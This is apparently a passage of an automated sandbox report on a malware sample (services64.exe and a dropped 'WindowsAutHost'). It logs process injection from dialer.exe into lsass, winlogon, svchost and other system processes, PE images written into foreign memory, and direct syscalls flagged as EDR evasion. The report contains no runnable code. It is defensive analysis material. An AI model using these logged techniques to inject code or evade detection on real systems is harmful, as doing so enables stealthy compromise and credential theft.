    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2108B940000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 29166940000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 19E27BC0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 184683D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\explorer.exe base: 7D80000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1972E260000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dasHost.exe base: 2246C5E0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 221D5930000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1A633B40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2928D0A0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 1A22A640000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 21C6CF30000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64500000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\audiodg.exe base: 1D349350000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23B60D80000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1F22F7C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B7733C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 27076D90000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 171DB7C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 2D1856F0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\conhost.exe base: 1BC980F0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1F38C3F0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 200AC5B0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1D079160000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1E9C6BB0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 28CE63D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\sc.exe base: 1BCD1A40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\conhost.exe base: 1AFBC510000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\ProgramData\WindowsServices\WindowsAutHost base: 16F8FB60000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1D849410000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\conhost.exe base: 1A7540D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE130000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1E5BE160000 protect: page execute and read and write
    Contains functionality to inject code into remote processes
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,25_2_0000000140001C88
    Creates a thread in another existing process (thread injection)
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\winlogon.exe EIP: DC61273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\lsass.exe EIP: C0AB273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 612D273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\dwm.exe EIP: AEDA273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 8799273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 5377273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 5D53273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: C:\Windows\System32\svchost.exe EIP: 67D273CJump to behavior
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: DC67273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C0B1273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6133273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AEE0273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 87F4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 537D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5D59273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6E9273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5B3C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: EBFD273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5904273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A9E7273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7316273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4E86273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 473C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6F9D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 83BC273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D3F7273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A415273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BDF3273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C026273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C9F3273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 644B273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7B2A273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4F6273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2AB4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4ADB273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 199273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 25DA273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: F535273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: F0D6273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: FFB273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C257273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8B94273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6694273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 13EF273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8D57273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 69B4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: CC74273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5DA7273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 199D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: F389273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 3B8273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 40E4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: A653273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 27BC273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7B15273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 621A273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2F48273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8B4B273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 683D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7D8273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2E26273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6C5E273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D593273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: FC65273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7874273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 33B4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8D0A273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AB4C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2A64273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6CF3273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 6450273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4935273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 60D8273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5E7B273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 2F7C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: E815273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 5234273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 9DA9273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 602E273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 733C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 76D9273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: DB7C273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 856F273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 980F273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 8C3F273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: AC5B273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 7916273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: C6BB273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: E63D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: D1A4273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BC51273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 4941273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: 540D273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BE13273C
    Source: C:\Windows\System32\dialer.exeThread created: unknown EIP: BE16273C
    Found direct / indirect Syscall (likely to bypass EDR)
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQueryInformationProcess: Direct from: 0x7FF74E634835Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQuerySystemInformation: Direct from: 0x7FF79AEBA2EBJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtOpenFile: Direct from: 0x7FF74E5E0D15Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQueryInformationProcess: Direct from: 0x7FF79AEC5690Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQuerySystemInformation: Direct from: 0x7FF74E6395C3Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQuerySystemInformation: Direct from: 0x7FF79B4EDE4EJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtSetInformationThread: Direct from: 0x7FF79AF0F997Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQueryInformationProcess: Direct from: 0x7FF79BB4925AJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79BB644FBJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQuerySystemInformation: Direct from: 0x7FF74DB2FAC8Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQueryInformationProcess: Direct from: 0x7FF79BB70A74Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQueryInformationProcess: Direct from: 0x7FF74D97C620Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Indirect: 0x7FF74D92DB0DJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQuerySystemInformation: Direct from: 0x7FF74D9487D6Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79B078272Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79AEE7F25Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQueryInformationProcess: Direct from: 0x7FF74DAF2ED6Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtClose: Direct from: 0x7FF79AEC40E5
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtSetInformationProcess: Direct from: 0x7FF74DAF8272Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74D9618AEJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74E5E9C17Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Indirect: 0x7FF79AEADB0DJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79B570E83Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtSetInformationThread: Direct from: 0x7FF74E60396DJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79AECA771Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQueryInformationProcess: Direct from: 0x7FF74D93E62DJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74E5F0A74Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQueryInformationProcess: Direct from: 0x7FF74DFE733EJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74DF65BACJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtMapViewOfSection: Direct from: 0x7FF74D9A4128Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQueryInformationProcess: Direct from: 0x7FF79AF29773Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79B56EBE3Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtProtectVirtualMemory: Direct from: 0x7FF79B072ED6Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74E63DECBJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtMapViewOfSection: Direct from: 0x7FF79B525F28Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74D94E257Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74DFEB966Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74DB17075Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQuerySystemInformation: Direct from: 0x7FF79AEBE62DJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtUnmapViewOfSection: Direct from: 0x7FF74E5C925AJump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQueryInformationProcess: Direct from: 0x7FF79B506531Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtSetInformationThread: Direct from: 0x7FF74D9A1621Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQuerySystemInformation: Direct from: 0x7FF74D946775Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtQuerySystemInformation: Direct from: 0x7FF79BBBDECBJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74DB24C63Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeNtUnmapViewOfSection: Direct from: 0x7FF79B0B34D2Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtQuerySystemInformation: Direct from: 0x7FF74D99B66BJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostNtProtectVirtualMemory: Direct from: 0x7FF74DF9854BJump to behavior
    Injects a PE file into a foreign processes
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\winlogon.exe base: 225DC670000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\lsass.exe base: 202C0B10000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A661330000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dwm.exe base: 2BAAEE00000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26A87F40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 179537D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2295D590000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 25306E90000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1845B3C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1B5644B0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2108B940000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 29166940000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\explorer.exe base: 7D80000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A
    Source: C:\Windows\System32\dialer.exeMemory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A
